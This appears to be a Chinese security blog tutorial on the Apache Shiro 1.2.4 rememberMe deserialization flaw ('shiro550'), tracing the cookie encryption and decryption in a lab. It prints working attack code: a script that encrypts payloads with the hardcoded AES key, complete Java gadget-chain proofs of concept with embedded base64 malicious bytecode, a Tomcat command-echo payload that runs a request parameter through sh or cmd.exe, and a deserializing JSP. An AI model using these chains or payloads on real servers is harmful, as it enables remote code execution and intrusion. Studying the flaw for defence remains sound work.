shiro550,看这一篇就够了

admin 2023年7月12日14:09:34shiro550,看这一篇就够了已关闭评论143 views字数 34702阅读115分40秒阅读模式

shiro 550

shiro 550是对cookie中的RememberMe反序列化导致的漏洞,虽然16年就爆出了,但是现在在突破边界还是很好用

环境搭建

编辑器:IDEA 2020
java版本:jdk1.8.0_65
tomcat版本 : Tomcat 8.5.
shiro版本:shiro-root-1.2.4
组件:commons-collections4
下载shiro-root-1.2.4 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
下载完成后进入samples/web目录,直接修改pom文件添加依赖

<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>

如果用maven打包时遇到如下错误,则就改maven下的配置文件maven/conf/toolchains.xml

Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project samples-web: Misconfigured toolchains.

<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk</jdkHome>
</configuration>
</toolchain>

直接用idea打开samples/web目录,配置tomcat运行即可

加密过程分析

漏洞的解密过程大概是这样

shiro550,看这一篇就够了

因为使用AES加密需要一个key,而这个key存储在/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class中,这个DEFAULT_CIPHER_KEY_BYTES就是加密时用的key,正是因为key是固定的,导致我们可以自定义AES加密

shiro550,看这一篇就够了

在这个类下有一个onSuccessfulLogin方法是对登录成功的,我们下个断点跟一下

shiro550,看这一篇就够了

登录时记住要勾选Remember Me

shiro550,看这一篇就够了

收到数据了我们跟入this.forgetIdentity方法,这个方法处理了request和response请求,我们跟入this.forgetIdentity(request, response)方法

shiro550,看这一篇就够了

继续跟入removeFrom方法

shiro550,看这一篇就够了

这个方法做的是获取一些配置信息,并把这些信息通过addCookieHeader方法放到response包中

shiro550,看这一篇就够了

我们一直往下跟,回到了最开始的onSuccessfulLogin中,这个if判断是判断rememberme按钮是否被选中,跟入rememberIdentity方法

shiro550,看这一篇就够了

可以看到传入的authcInfo存储着账号和密码,我们跟入rememberIdentity方法

shiro550,看这一篇就够了

进入之后发现convertPrincipalsToBytes转化为bytes,我们跟入

shiro550,看这一篇就够了

跟入之后发现会将传入的参数序列化,随后使用encrypt方法进行加密,我们跟入encrypt

shiro550,看这一篇就够了

this.getCipherService()字面意思是获取密码服务,赋值给cipherService,我们可以看一下cipherService里的内容,采用了AES/CBC/PKCS5Padding 128位加密,随后调用getEncryptionCipherKey()获取key进行加密,其中这个key就是我们一开始说的那个key

shiro550,看这一篇就够了

解密过程分析

抓取登录的返回包会发现给浏览器set-cookie了一个rememberMe

shiro550,看这一篇就够了

刷新网页的时候就会带rememberMe,这是判断shiro框架的一个重要标志

shiro550,看这一篇就够了

获取客户端数据是从getRememberedPrincipals开始的,我们对这个方法下一个断点,直接进入getRememberedSerializedIdentity

shiro550,看这一篇就够了

this.getCookie().readValue方法要从cookie中读数据了,这个必须跟入

shiro550,看这一篇就够了

this.getName()获取了名字为rememberMe,随后根据名字从request获取名字对应的内容随后赋值给value返回

shiro550,看这一篇就够了

之后将获取的valuebase64解码返回上层

shiro550,看这一篇就够了

返回getRememberedPrincipals方法,其中convertBytesToPrincipals对刚刚返回的bytes进行了处理,我们跟入

shiro550,看这一篇就够了

发现this.decrypt(bytes)方法,我们跟入

shiro550,看这一篇就够了

跟入之后发现跟加密的方法有异曲同工之妙

shiro550,看这一篇就够了

解密之后将解密是数据进行反序列化,至此解密过程分析完毕

shiro550,看这一篇就够了

漏洞利用

我们之前由于加过CommonCollections4的依赖,我们可以用cc2进行打
使用以下脚本将生成的cc2文件进行AES加密并进行base64编码

```
import sys
import base64
import uuid

from Cryptodome.Cipher import AES

def get_file_data(filename):
with open(filename,"rb") as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if name == 'main':
data = get_file_data("ser.bin")
print(aes_enc(data))

```

shiro550,看这一篇就够了

抓包里面有两个认证身份的参数,两个参数都存在的话默认是使用JSESSIONID,因此要把JSESSIONID删除再替换rememberMe才能生效

shiro550,看这一篇就够了

shiro下cc链的利用

由于cc6没有Java版本限制,并且3.2.1版本的cc用的更广,我们添加一个cc6的依赖,但使用cc6攻击shiro却发现没有成功
查看报错信息,说不能加载到Transformer

shiro550,看这一篇就够了

我们来到第一个报错的地方看一下

shiro550,看这一篇就够了

跟进deserialize方法,发现ois不是原生的readObject而是shiro自实现的方法

shiro550,看这一篇就够了

我们跟进ClassResolvingObjectInputStream类,发现重写了resolveClass方法,因此调用的是自己写的一个工具类ClassUtils中的forName方法,所以不能加载数组类

shiro550,看这一篇就够了

所以真正的原因就是shiro自带的这个方法不能加载数组类,因此我们要修改利用链去掉数组类

shiro550,看这一篇就够了

构造合适的利用链

cc链的命令执行方式主要由两种,一种是直接执行Runtime,另一种则是利用类加载器加载类
因为Runtime的方法需要数组类型,因此我们采用另一种方法,也就是cc3,从他的利用链可以看出他的核心是调用TemplatesImpl.newTransformer()从而触发类加载器加载

shiro550,看这一篇就够了

我们将他前半部分拿出来,想办法执行newTransformer()

Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

接下来我们看看cc6的利用链,他的下半部分可以调用transform方法

shiro550,看这一篇就够了

```
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"test");

    outerMap.remove(templates);

    Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
    Field factoryField = lazyMapClass.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(outerMap,invokerTransformer);

```

而构造一个InvokerTransformer通过调用newTransformer即可

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

完整Poc

```
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class shiroCC {
public static void main(String[] args) throws Exception {
//CC3
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

    //CC2
    InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

    //CC6
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
    Map hashMap = new HashMap();
    hashMap.put(tiedMapEntry,"test");

    outerMap.remove(templates);

    Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
    Field factoryField = lazyMapClass.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(outerMap,invokerTransformer);


    serialize(hashMap);
    unserialize("ser");

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser"));
    out.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
    Object o = In.readObject();
    return o;
}

}

```

最后也是成功弹出了计算器

shiro550,看这一篇就够了

无cc依赖下的利用

由于shiro本身带了一个依赖,在没有cc依赖的情况下,我们要打只能打commons-beanutils

shiro550,看这一篇就够了

我们先来了解CB攻击,首先CB是为了更好地利用JavaBean研发的,我们来简单了解一下JaveBean
Person类

```
package org.apache.shiro.CB;

public class Person {
public String name;
public int age;

public Person() {
}
public Person(String name, int age) {
    this.name = name;
    this.age = age;
}

public String getName() {
    return name;
}

public int getAge() {
    return age;
}

public void setName(String name) {
    this.name = name;
}

public void setAge(int age) {
    this.age = age;
}

}

```

测试类

```
public class test {
public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Person person1 = new Person("kaeiy",18);
System.out.println(person1.getName());

    Person person2 = new Person("k0e1y",18);
    System.out.println(PropertyUtils.getProperty(person2,"name"));
}

}

```

PropertyUtils.getPropertyperson1.getName()其实是一样的,大家对比一下就知道是干啥的了,他会调用getname方法
这里的流程其实是传入的是name随后会把首字母大写Name随后加上get就变成了getName
结合之前cc3的链发现getOutputProperties很符合上面的形式

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

可以用cc3试一下

```
public class cc3bean {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj,value);
}

}
```

成功执行

shiro550,看这一篇就够了

随后我们就要找一下谁调用了getProperty方法,最终在BeanComparator找到了compare方法,并且两个参数都可控

shiro550,看这一篇就够了

经过寻找compare方法在PriorityQueue类的siftDownUsingComparator方法有调用,而siftDownUsingComparator经过readObject()可以调用到,这也就是cc2链

shiro550,看这一篇就够了

所以利用链已经出来了

PriorityQueue.readObject() ->
PriorityQueue.siftDownUsingComparator() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer()

所以poc已经出来了

```
package org.apache.shiro.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class shiroCB {
public static void main(String[] args) throws Exception {
//CC3
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

    //Commons-Beanutils
    BeanComparator beanComparator = new BeanComparator("outputProperties");

    //CC2
    TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));

    PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(2);

    setFieldValue(priorityQueue,"comparator",beanComparator);

    serialize(priorityQueue);
    unserialize("ser");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser"));
    out.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
    Object o = In.readObject();
    return o;
}

}

```

成功执行

shiro550,看这一篇就够了

shiro回显问题

shiro反序列化虽然可以执行命令,但是如果执行ipconfig这种有回显的命令,我们根本是看不到的,于是我们要想办法让我们执行的命令回显

kingkk师傅的Tomcat中一种半通用回显方法

因为虽然没有显示回显,但是执行的结果肯定存储在tomcat中,我们只需要找到一个可以利用的位置,利用反射把内容读取出来即可
首先搭建一个servlet的环境,搭建过程自行百度
这里有一个注意的点,需要导入tomcat的jar包,否则查找堆栈时无法查看源码,导入后右键lib文件夹Add as Library即可,之后的只要关于tomcat源码的调试都需要添加这些包

shiro550,看这一篇就够了

创建如下代码并打上断点

shiro550,看这一篇就够了

访问网站之后,发现在doGet之前,堆栈中已经有好多内容了,这些都是tomcat处理request和response请求的流程,接下来我们就要在这些类中找到一个能被我们获取的response

shiro550,看这一篇就够了

经过寻找在org.apache.catalina.core.ApplicationFilterChain找到符合我们要求的类,在他静态代码块将lastServicedResponse初始化

shiro550,看这一篇就够了

并且在106行将他赋值

shiro550,看这一篇就够了

虽然if判断为false,但我们用反射改为true即可

shiro550,看这一篇就够了

所以我们的流程是

反射修改ApplicationDispatcher.WRAP_SAME_OBJECT使他为真
初始化lastServicedRequest和lastServicedResponse两个变量
从lastServicedResponse获取内容并回显

附上代码

```
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal lastServicedResponse =
(ThreadLocal) lastServicedResponseField.get(null);
ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);

boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
    isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();

}
```

shiro550,看这一篇就够了

访问网页时要访问两次,第一次要通过反射来初始化

shiro550,看这一篇就够了

那我们可以回显了,该怎么和反序列化配合用呢?我们可以把这个类进行类加载,因此cc2,cc3,cc4都是可以用这个类,因为他们是调用了templatesimpl.newtransform方法来进行的类加载
把提供的回显代码进行class的base64编码放到cc4中,再把cc4的序列化文件进行base64编码传参反序列化
使用如下代码进行接收参数反序列化,注意这里用Servlet环境会有问题(踩七八小时的坑)建议用springmvc或者springboot

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try {
String input = request.getParameter("input");
System.out.println(input);
byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
%>

如果不想搭建环境可以使用我搭建好的,配置好tomcat直接访问index.jsp即可

链接:https://pan.baidu.com/s/1WzOYwRqrDZs7CIdgIbMuxA?pwd=6666
提取码:6666

访问要访问两遍,因为第一次反射修改tomcat底层变量,第二次才能获取到

shiro550,看这一篇就够了

但是这种方法不能用于shiro,shiro的rememberMe功能,其实是shiro自己实现的一个filter。作为不出网情况下的命令执行还是蛮好用的

Litch1师傅的通用回显方法(不支持Tomcat7)以及Header长度限制绕过

Litch师傅是在 Tomcat 中全局存储 request 和 response 的变量,主要目标是寻找 tomcat 中哪个类会存储 Request 和 Response
随便打一个断点查找tomcat的堆栈

shiro550,看这一篇就够了

根据师傅的文章Http11Processor的父类AbstractProcessor存储了Request和Response,找到Http11Processor的堆栈,发现已经给Request进行了赋值

shiro550,看这一篇就够了

我们进入AbstractProcessor可以看到是protected final类型,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,那他是什么时候赋值的呢

shiro550,看这一篇就够了

我们看一下他的构造函数,发现是public类型的构造函数调用了protected类型的构造函数,将request和response进行了赋值

shiro550,看这一篇就够了

而resp如何获取呢,在resquest类中有函数可以获取

shiro550,看这一篇就够了

因此获取了Http11Processor之后我们就可以获得req和resp,那我们如何获取Http11Processor实例或者request、response变量呢
org.apache.coyote.AbstractProtocol.ConnectionHandler#process函数的processor对象中发现有request、response

shiro550,看这一篇就够了

在process方法中通过this.getProtocol().createProcessor()创建processor对象,然后通过register方法进行了注册

shiro550,看这一篇就够了

打个断点进入register方法,发现可以获取response

shiro550,看这一篇就够了

global其实就是RequestGroupInfo

shiro550,看这一篇就够了

我们跟入setGlobalProcessor

shiro550,看这一篇就够了

继续跟入global.addRequestProcessor,可以看到把RequestInfo添加到processors中

shiro550,看这一篇就够了

processors是ArrayList类型

shiro550,看这一篇就够了

因此当前的利用链为

AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

我们现在就要寻找存储着AbstractProtocol类的类或者AbstractProtocol类的子类,发现在Connector中有ProtocolHandler接口,而AbstractProtocol是他的实现类

shiro550,看这一篇就够了

所以现在调用链变成了这样

Connector----->AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Respons

那么我们的 Connector 从哪里获取呢?在 Tomcat 启动的过程中,org.apache.catalina.startup.Tomcat#setConnector 会将 Connector 存储到 StandardService中,所以我们就可以从 StandardService 中获取到我们的 Connector

shiro550,看这一篇就够了

因此调用链变成了

StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response

那如何获取StandardService呢?这里先给出网上找的师傅的解释

双亲委派机制的缺点:
当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
例如:
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

因此可以通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,然后获取StandardService

